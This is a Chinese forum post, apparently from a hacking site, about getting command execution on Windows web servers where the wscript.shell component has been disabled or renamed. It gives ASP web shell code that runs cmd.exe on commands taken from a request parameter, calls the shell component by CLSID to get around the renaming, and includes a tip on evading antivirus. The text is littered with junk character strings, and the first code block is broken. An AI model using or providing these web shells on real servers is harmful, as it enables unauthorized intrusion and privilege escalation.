没有wscript.shell组件提权方法

admin

• 可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
  
• 一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
  : z1 g4 R" [- ]7 [
• 要想让运行命令可以试试这种方法，成功率为五五之数。
  * z1 V* s9 w% o
• 把下面代码复制：
  
• <%
  
• end if
  & P2 N& F$ W& m, g  D3 {( G3 A* @: A
• response.write(”")
  . l1 s$ G% i6 T2 S) P5 g
• On Error Resume
  
• Next
  
• response.write oScriptlhn.exec(”cmd.exe /c” &
  
• request(”c”)).stdout.readall
  4 N% k. ?1 k( x4 U
• response.write(”")
  ) P: s, [' q0 C0 W5 A) W% c
• response.write(”")
  9 l& M/ i8 k4 C8 O4 a: O6 A
• response.write(”
  
• “)
  ) m" p0 P+ K0 l) u9 j
• response.write(”")
  : D, ]# z+ p. \. y, g
• %>
  
• 保存为一个asp文件，然后传到网站目录上去
    J0 W5 g0 a. X2 _  i1 m, V
• 运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
  1 Z/ s4 i4 z) M: V7 E! b2 t$ A
• 我用此成功运行过cacls命令。
  
• 第二那就是运行时出错，可能限制某些代码执行
  
• 无wscript.shell组件提权又一个方法
  / w' i. A! R. t5 a( M* g8 ^4 Y7 R
• <object runat=server id=oScriptlhn scope=page
  $ H/ B% R( S5 `/ Q" o4 T: {0 r
• 
  $ V& w5 ?' H7 |! V# {/ {
• classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
  
• <%if err then%>
  / P! u7 I; l0 Y5 ?1 n1 v0 [+ V
• <object runat=server id=oScriptlhn scope=page
  + _; [/ r) T, z
• 
  ) D* B9 }+ w# i! L
• classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
  & ^, _  T( O5 O" v$ Y3 U
• <%
  ' Q* [3 N4 c+ c0 S- G9 ]) ^
• end if
  
• response.write(”<textarea readonly cols=80
  - O( e0 [' P6 T* ^
• 
  
• rows=20>”)
  3 U* ]" o4 N: J+ R0 ?# r; u! U+ ?
• On Error Resume Next
  8 B, M! A9 O3 b* c2 n
• response.write
  
• 
  1 w$ k% h' H& _* O
• oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
  
• response.write(”</textarea>”)
  
• response.write(”<form
  
• 
  
• method=’post’>”)
  ; b) |- q; g9 w. a  }
• response.write(”<input type=text name=’c'
  
• 
  2 s& q7 a7 T1 k' V% A( a
• size=60><br>”)
  
• response.write(”<input type=submit
  
• 
  ) s/ J) d% u9 c2 {: E, z( y% u
• value=’执行’></form>”)
  
• %>
  2 t* m" V# T! X
• 保存为ASP，此代码可能被杀，请注意免杀。
  6 i9 B# t8 [0 }0 l
• 原理：有些人把wscript.shell改名了,但是clsid没有变，所以调用这个clsid就等于调用ws组建
  

复制代码